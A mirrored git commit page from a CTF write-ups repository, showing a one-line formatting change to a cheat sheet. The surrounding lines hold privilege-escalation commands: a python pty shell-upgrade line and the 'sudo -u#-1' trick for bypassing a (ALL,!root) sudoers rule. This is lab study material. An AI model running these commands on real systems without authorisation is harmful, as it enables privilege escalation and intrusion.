mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-09-20 06:11:56 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
b5d7251560
commit
fa8deb4d88
1 changed files with 1 additions and 1 deletions
|
@ -12,7 +12,7 @@
|
|||
* python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||||
|
||||
### Vulnerable sudo (ALL,!root)
|
||||
`sudo -u#-1 whoami`
|
||||
`sudo -u#-1 whoami`<br />
|
||||
`sudo -u#-1 <path_of_executable_as_other_user>`
|
||||
|
||||
### Execute as diffent user
|
||||
|
|
Loading…
Reference in a new issue